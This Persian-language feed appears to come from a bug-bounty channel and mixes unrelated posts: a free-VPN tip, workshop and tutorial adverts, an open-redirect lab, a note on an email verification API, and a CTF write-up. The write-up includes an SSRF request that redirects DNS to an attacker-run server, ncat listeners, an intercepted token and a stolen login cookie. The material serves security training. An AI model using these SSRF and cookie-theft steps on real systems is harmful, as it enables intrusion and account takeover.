لینک داشبورد کلودفلر: dash.cloudflare.com
لینک ویزارد تحت وب BPB جهت راه‌اندازی: https://wizard.bpb-panel.workers.dev/

برید برای خودتون vpn رایگان بسازید از اینور اونور نگیرید

ویزا کارت بسازید برای خودتون پرداخت های بین المللی راحت انجام بدید البته یکسری از سایت ها نمیشه

برای اولین بار بنا به درخواست فراوانی که در این چهار سال داشتیم که کارگاه هایی برگذار شود که به صورت تخصصی فقط به یک بخش خاص اشاره شود و کوتاه باشد
و اولین کارگاه با اسیب پذیری مورد علاقه خودم شروع خواهد شد :
Bypass Authentication
بی راه نیست اگه بگم ۳۰ درصد کل بانتی دو سال اخیر من با این تایپ حمله بوده


Bypass Authentication
1. 5 شهریور :‌جلسه شروع و درک این اسیب پذیری به همراه حل مثال ها فراوان
۲. ۱۲ شهریور:‌بررسی عمیق این اسیب پذیری از دید تجربه و مثال ها متنوع که منجر به زیروکلیک و وان کلیک اکانت تیک اور خواهد شد
۳. ۱۹ شهریور:‌ استفاده از دانش کسب شده برای کار روی تارگت ها واقعی


برای ثبت نام میتوانید از لینک زیر استفاده کنید:


https://www.instagram.com/stories/pentesterland/3971393261971578538?utm_source=ig_story_item_share&igsi=NTZpZDU0ZHd4cTY1

https://www.instagram.com/reel/DcmBr6sNDWh/?igsi=dGRkcjd6ZnA2M2pu


دیدیش چطور بود؟ پی او سی شو پابلیک کنم اینجا؟ نظرتو کامنت کن زیر خود پست😁❤️

این PoC مربوط به یک CVE در وردپرس است. برای دوستانی که پس از شناسایی CVE نمی‌دانند چگونه باعث آسیب‌پذیری می‌شود، حتماً این ویدیو را مشاهده کنید:

https://youtu.be/k3d9UgYyK9o?si=uoTCjB8xcLk07Qe7

🍿 قدرتمندتر از Fable 5 ولی رایگان! مدل مرموز Ox Alpha

سلام رفقا

تصمیم گرفتم که اموزش اسیب پذیری هارو شروع کنم
تو سری اول اموزش میریم سراغ اسیب پذیری SQLi با عنوان SQLi 0 to master

تو پارت اول رفتیم سراغ پیش نیاز هایی که باید بلد باشیم

امید وارم این دوره مفید باشه براتون ❤️

https://youtu.be/ZW6OVWRY5-M

سلام دوستان اقا چند وقت پیش داشتم درباره آسیب پذیری open redirect می خوندم.
یهو به ذهنم رسید شروع کنم به ساختن lab های لول بندی شده (php) که بهتر بتونم این باگو درک کنم.
از لول ۱ تا ۱۰ لول بندی کردم از آسان به سخت.
و به شما یاد می ده چجوری با استفاده از open redirect به SSRF , XSS , CRLF , OAuth Token theft برسید.
تمام level هارو بر اساس چیزای که توی real world بوده طراحی کردم.
سورس کد هر لول هم در دسترس هست و حتا راهنما هایی هم وجود داره.

دوس داستید یه سر بزنید و علم خودتونو محک بزنید.

https://github.com/zoly-zoly/Open-Redirect-Lab

S').click(function() {
    var server = $('input[name="dns_server"]').val();
    $.get('/set/dns?server=' + server, function(resp) {
        alert(resp);
    });
});

توی این بخش اگه بتونیم SET/DNS کنترل کنیم میشه گفت عملا میتونیم به ترافیک دسترسی داشته باشیم پس توی این بخش با استفاده از این کد یه dns server راه انداختیم https://gist.githubusercontent.com/pklaus/b5a7876d4d2cf7271873/raw/cb089513b185f4128d956eef6e0fb9f5fd583e41/ddnsserver.py
و روی پورت 443 با netcat روی لیستن میزاریم : ncat -lv 443 و توی بخش بعدی این درخواستو ارسال میکنیم:

POST /connection-test HTTP/1.1
Host: 178.62.61.49
...
node=192.168.1.1/set/dns?server=173.230.148.69#

در نتیجه درخواست به سرور ما میومد ولی چون ssl بود و ما گواهیشو نداشتیم یه مشت چرندیاتو میدیدیم و با رفتن به بخش اول که شروع کردیم و یه مقدار گشتن به اینurl میرسیم https://www.googletagmaneger.com/event?include=asdf که یه خطای xdebug به ما نشون داد و خطا نشون دهده LFI بود ولی کاراکتر های @ , / توی بلک لیست بودن و با استفاده از آیپی خود سایت با یه مقدار fuzz به این بخش رسیدیم http://142.93.46.249/datacollection/ssl/ و الان ssl داشتیم و کدی که اون بالا بود اجرا کردیم :
python3 dns.py --port 53 –udp
و بعد این دستورو به netcat اضافه کردیم:
ncat -lv 443 --ssl-cert=/home/CTF/certs/fullchain.pem --ssl-key=/home/CTF/certs/privkey.pem
و بعد همون درخواستو تکرار کردیم و تماممم SSRF و ترافیکو گرفتیم و کارو جمع کرد

GET /api/poll HTTP/1.1
Host: www.googletagmaneger.com
User-Agent: curl/7.58.0
Accept: */*
X-Token: 779549E7865D034D9A9DB34401DA2157

بعد هم با یه مقدار fuzz به بخش /api/cookie رسیدیم و با ارسال درخواست به این بخش تونستیم کوکی معتبر رو دریافت کنیم:

HTTP/1.1 200 OK
...
{"description":"Login Cookie","data":"NzQ1NWYxYmJkYzczM2YwYTkzMzg2MjE5MmIxNTFhN2VlNGI0NmQyM2EwYjNlMzBiMzc3NGE2NTVhYzE5MzBiMDE1MWY2NGQ5MzE1ZjJhZmEzY2VlYTcyZDFlNjNmMjQ3YTZhNTQzM2U1ODBjOWIzZGJhYWQyMmNiZTcxYzU5NTA="}

و در نهایت این کوکی برای سایت اول ست میکنیم و flag به دست میاریم.

https://buer.haus/2020/06/14/nahamcon-trash-the-cache-write-up-web-1000/

روش جدید Email Verification API که به تازگی پیاده‌سازی شده و در مرحله تریال هستش و فعلا با جمیل کار میکنه. این یک روش جدید برای وریفای کردن ایمیل بصورت مستقیم از طریق مرورگره.
معمولاً سایت از طریق OTP یا مجیک لینک ها استفاده میکنند که این روش برای کاربران گشاد زجر آوره و ممکنه بیخیال ثبت نام در سایت بشن و برن و دیگه برنگردن. به همین اومدن چنین API رو پیاده سازی کردن.
برای پیاده سازی این ای پی آی ما چند متاع لازم داریم:
- کاربر
- مرورگر
- ارائه دهنده ایمیل
ـ سرور

فرآیندش چطوریه؟
- کاربر وارد حساب ایمیلش میشه.
ارائه‌دهنده ایمیل، وضعیت ورود کاربر را در میده مرورگر.
ـ بعداً کاربر آدرس ایمیلش رو مثلا در فرم سایت شما وارد می‌کنه.
ـ مرورگر بررسی می‌کند که آیا این آدرس ایمیل با حسابی که کاربر در فرم ثبت نام وارد کرده مرتبطه یا نه.
ـاگر مرتبط باشه، مرورگر و ارائه‌دهنده ایمیل دست به دست هم میدن و Token تولید می‌کنن.
ـ این Token به‌صورت خودکار داخل یک فیلد مخفی توی فرم قرار می‌گیره.
- بعدش کاربر فرم رو ارسال می‌کنه.
ـ سرور شما آدرس ایمیل و Token رو دریافت می‌کنه
ـ سرور Token را اعتبارسنجی میکنه.
اگر اعتبارسنجی موفق باشه، مشخص می‌شه که کاربر گوزه کدوم کونه. منظورم مشخص میشه که کاربر واقعاً مالک اون ادرس ایمیل هست یا نه.

نحوه پیاده سازی و جزییات بیشتر رو اینجا میتونید بخونید.

بنظر شما چه سناریو هایی برای کش رفتن توکن از این طریق میشه درآورد؟

Email Verification API

سریال قشنگیه ولی فصل ۴ قراره بیاد
منو قفل کرد تمام ۸.۱ از ۱۰ توصیه میکنم ببینیدش